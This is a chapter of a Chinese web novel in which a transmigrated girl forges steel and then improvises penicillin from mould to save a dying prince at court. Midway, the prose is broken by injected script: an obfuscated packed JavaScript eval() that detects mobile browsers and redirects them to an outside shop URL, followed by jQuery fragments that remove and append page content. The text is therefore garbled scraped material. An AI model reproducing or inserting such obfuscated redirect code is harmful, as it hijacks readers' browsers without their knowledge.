礼诗涵决定回家。
回真正的家。
那个她无论什么时候回去,都有笑脸、耐心、尊重和爱的小家。
既然现在的穿越是她实验的结果,那如果能再进行一次实验,说不定能有回家的希望。
礼诗涵和侍女直白地打听了这个世界的科技发展水平,差得让她摇头。这里连火药都没被发明出来,是彻头彻尾的冷兵器时代。
但没关系,虽然不用妄想“TL-0726”这种现代科技的结晶产品,但若要她手搓出别的高当量炸药,她还是很有信心的。
礼诗涵的行动力很强。
主要是生怕自己原来的身体被火化了。
她如果穿回去却变成孤魂野鬼,一样吃不着干妈给做的鸡腿。晚了可就只能让她们烧给她吃了!
.
上官丞相憋了一肚子火。上官梨的母亲在生完她之后不久去世,后来他新娶了一房小妾,让上官梨将她当做亲生母亲一样敬重。
他带上小妾,准备好好教训这个女儿!
一走进礼诗涵的小院,只听得哐哐哐巨锤敲击之声直冲耳膜,铿锵有力,有种莫名的魔性节奏。
竟是礼诗涵上半身缠着绷带,在院中热火朝天地打铁!
冶炼炉轰轰燃着烈火,院中弥漫着矿石独有的厚重气味,小池塘被她当做冷凝水,铁块放入其中,水蒸气发出震耳欲聋的尖叫声。在这寒冬,她做得热火朝天,热情洋溢,皮肤上都泛着粉色,汗水从她漂亮的脊背处滑下。
她拿起颈上的毛巾擦擦汗,瞧见两个目瞪口呆的大人,困惑道:“有什么事吗?”
礼诗涵大早上起来,先去铁匠铺子转了一圈。只觉得作品粗陋,钢材也差,完全满足不了她需要的条件。只好把炼炉、木炭、矿石以及一众材料买下,亲自动手。
上官丞相决定不跟女儿一般见识。
因为他觉得上官梨已经疯了。
绝对不是因为瞧见她一锤把食指厚的钢材直接锤烂了........
礼诗涵把铁锤丢到一旁,用厚重的铁钳夹起一块断裂的材料,摇摇头。
这个世界的铁矿比她锤炼日本刀时用的还差。古代日本人吃的就已经很差了,这个世界的原材料还要更烂,也就意味着礼诗涵要花上更多的功夫在上面.......
没关系,礼诗涵想,无论如何都要回家。
想必爸妈应该也不在乎吃饭的时候,先给她烧上一碗。
礼诗涵的好日子过了没几天。她花了三天的时间寻来沙子烧制试管、烧瓶,还没来得及进行实验,宫中又派人来请她。
这次是来兴师问罪的。
因为十九皇子没有礼诗涵这种无比耐造而精力旺盛的体质,不幸染了风寒。
请了大夫仍然不大好,现在要病死了。
如果十九皇子病死了,那上官梨就不得不担上危害皇嗣的罪名了。
这可是大罪。
虽然人是老皇帝应允丢进冰窟窿里的,但老皇帝不能有错,只能是被小人蒙蔽,小人是谁呢?怂恿这一切的无知小女礼诗涵!
礼诗涵觉得这可太没有道理了!
但皇家会给你讲道理吗?
.
锦绣宫中的地面一尘不染。礼诗涵被左右两个侍卫按着跪在地上,十九皇子在榻上烧得像个灯笼,淑妃靠在榻上恸哭,老皇帝被左右两个漂亮妃子搀扶着,肥胖的身躯像座山。
“小十九是朕的老来子。”老皇帝虽然老了,但是气势仍在,不怒自威,“朕不能见他死了还是个孤苦伶仃的啊!”
淑妃扑在老皇帝怀中,声音已经哭哑了,虚弱无比,却藏着无尽的怨毒,她道:"我要她陪葬!我的儿子要死了;而造成这一切的女人不该活着!"
这更没有道理,造成这一切的不是她自己吗?
礼诗涵听完,明白这是要他们真的要让自己陪葬结冥婚。
她搞不懂大人物都是怎么想的,本着实事求是的态度,认真道:“你们弄错了。他若死,是因为起了坏心,对我图谋不轨,是罪有应得,不应该牵扯到我身上。而且他现在就打不过我,若是强迫我和他结了婚,在地下还是要被我压下一头啊?”
她这话一出,十九皇子这红灯笼都要急得闪烁起来了,淑妃哭得更凶了。
老皇帝被她们哭得头痛,也一眼看出礼诗涵是真的没明白。
淑妃从小和十五个兄弟姐妹一同长大,后来又和一百多个嫔妃宫斗,见过的勾心斗角比上官梨吃过的盐还多。
恐怕从来没见过礼诗涵这种直来直去的傻子。
礼诗涵从没想过自己的死,自然不会有对生死的敬畏。
老皇帝叹了口气,道:"上官梨啊,你需得知道一件事。在这大阜,他的命,"老皇帝点点榻上的十九皇子,又点点礼诗涵,又道,“比你的命贵!”
礼诗涵明白了。
真是一个无比险恶的地方!
她悻悻道:“那他不死,我就不用给他陪葬了吧。若我有方法可保救他一命,不知陛下肯信我吗?”
老皇帝不信。
一个女流,能有什么本事?
淑妃眼中迸发出可怕的光。她披头散发,相比之前的精致妇人模样,简直是天差地别,阴沉沉道:“你可立誓?若是我儿死,你九泉之下也不得超生,生生世世受炼狱苦刑!”
一阵闷雷声响。利阳今年的冬天无雪,只有刺骨的严寒。若是寻常人,应会被这种巧合吓怕——
“我立誓。”礼诗涵又不信神佛。她看看红灯笼,问道,“太医说他还能活几日?”
“三日。”淑妃暗淡道。
“足够了。”礼诗涵胸有成竹道,“你且去等我做药予他。”
“不行!万一你趁机跑了怎么办?”
淑妃自然不知礼诗涵不会骑马,不会驾车,对大阜的了解约等于零,给她三天她甚至跑不出利阳地界。
礼诗涵忽然心想,淑妃是个妃子啊,肯定比她这个闺阁小姐渠道广、人脉多、财力足!
她当即道:“这好办。你遣人去将我院中的工具取来。我在你的锦绣宫,与你同吃同住,保证不逃跑。”
“相应的,你要帮我寻些材料来。咳咳,这都是为了救你的儿子。”
.
淑妃其实也并不相信礼诗涵能救他的儿子。
她生过两个儿子,都是体弱多病。大儿子正是发了一场高烧后就没了的。
她不认为上天会眷顾她。
淑妃只是怕上官梨跑了而已。
她的父亲是丞相,虽说现在和礼诗涵闹得很难看,但说不定什么时候就会回心转意,燃起那一丁丁点的父爱呢?
淑妃当即决定这三天不睡觉,死死盯住礼诗涵,生怕她做些什么小动作。
她太低估礼诗涵了。
礼诗涵有着无穷的精力和旺盛的好奇心,还有着愈发膨胀的自信心,就是个不折不扣的疯女人!
瞧见那一人高的大铁炉被搬进她的锦绣宫,淑妃在自己儿子的榻前也坐不住了。
礼诗涵穿着完全不符合身份的一身短打,也是气喘吁吁,正指挥着汗如雨下的几个太监,她道:“还需得寻来上好的碳粉、发霉的柑橘、甜瓜、橙子,哦,还有干净的植物油,至少一千个瓦罐、一千根银针,最烈的烈酒,这些都是越多越好.......再帮我抓一千只老鼠!”
淑妃想到自己要和一千只老鼠同居一室,只觉得浑身鸡皮疙瘩一起炸开。
她连忙喝止这疯女人:“上官梨!你疯了不成?”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17762752|208286||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>礼诗涵很有自信。
虽然她完全不懂医术,但她中二时期看过很多穿越小说,青霉素是她唯一研究过的东西。
少女的面容上瞧不出任何一丝迟疑,她笑道:“我可是压上了我的性命!娘娘就相信我吧?”
少年心气是最不可得之物。
她鼻尖上的细小汗珠被清澈的阳光折射得近乎透明,但是说出的话又那么荒诞不经,淑妃被气得不轻,想不顾脸面上去拧她的耳朵。
屋中的十九皇子猛烈地咳嗽起来,撕心裂肺,近乎要把肺咳出来了。淑妃慌忙转身,华美的长裙不小心挂在了门框上,扯出了个不大不小的口子。
嗤啦一声,很轻微的声音。
算了吧,淑妃莫名觉得没必要跟她计较。若是十九皇子死,她也没什么盼头。
淑妃对着战战兢兢的太监一挥手,道:“都听她的——但是那些老鼠千万不能放出来一只!!!”
太医在宫中忙得团团转,一碗药又一碗药地灌下去,又原样地被吐出来。
淑妃也累了。
若是十九皇子死,她不知道还能活多久呢?在这冷宫中,如同行尸走肉一样活着,比死了还难过吧?
礼诗涵用盘子托着七八个小瓦罐从她身边跑过去,指挥小太监们道:“动作要仔细!没时间做显微镜了,条件比较艰苦。只能用肉眼分辨霉菌。记得只要蓝绿色的!”
“还有那边的!”礼诗涵一指旁边正把老鼠浸在冰水中的小太监们,“让它们生病就可以了,再泡下去就要死了!”
“你、你、你们几个去把烈酒蒸馏到没办法蒸馏为止。剩下的人和我来,我只演示一遍过滤的流程!”礼诗涵把袖子挽上去,半晌折返,又从屋中抓出个颤颤巍巍的太医老头,“你会针灸对吧?那一定也会给老鼠针灸,我需要你!”
淑妃目瞪口呆地瞧着整个院子热火朝天,每个人都被礼诗涵抽打得如陀螺一般旋转。
礼诗涵见她闲着,也往她怀中塞了一个瓦罐。
淑妃懵懵懂懂地打开,里面是一只冻得流鼻涕的肥硕老鼠。
......好险,差点看见太奶了。
“太医说娘娘也曾学过施针。”礼诗涵道,“拜托您了,具体怎么做我已经和太医爷爷说过了,您去问他就行!”
直到半夜,淑妃还在被那黑色老鼠邪恶的眼神恶心地睡不着觉。
更可能是一墙之隔有一千多个被扎过针的老鼠在吱吱哀嚎的原因!!!
淑妃在床榻上翻来覆去,实在是忍不了了,直挺挺地坐起身。睡在她脚边的侍女惊醒,淑妃冷冷道:“睡你的。本宫要去瞧瞧那小贱人还睡不睡得着!”
礼诗涵睡姿并不好,整个人团成一团,如墨般的黑发散开,愈发衬得脸蛋白嫩,像朵含苞待放的小花。
她白天进行了无比充足的劳动,现在睡得很沉。
梦里妈妈和干妈正伏在她的棺材上嚎啕大哭,爸爸在她的葬礼上接待宾客,莫名和谁打了起来,最后蹲在地上流眼泪。
“.......别哭啊......”礼诗涵像是隔着一层透明玻璃,无论她怎么用手去抓,都无法找到那个让她穿进来的兔子洞。她喃喃道,“妈妈........我还在这里呢.......”
听说上官梨的母亲去世当天,上官丞相就把小妾带进了门。大概就是他办的事实在太缺德了,遭了天谴。十五年过去,现在都阳痿了,除了上官梨再无所出。
如此想来,她这种性子,倒也不是不能理解。
淑妃染了蔻丹的手抓住礼诗涵到处寻摸的右手,那只手指节处已经是伤痕累累。她捏了捏,把她整只胳膊塞进被子里,把她整个人如毛巾卷一样狠狠裹住。
“热死你!”
淑妃冷冷道。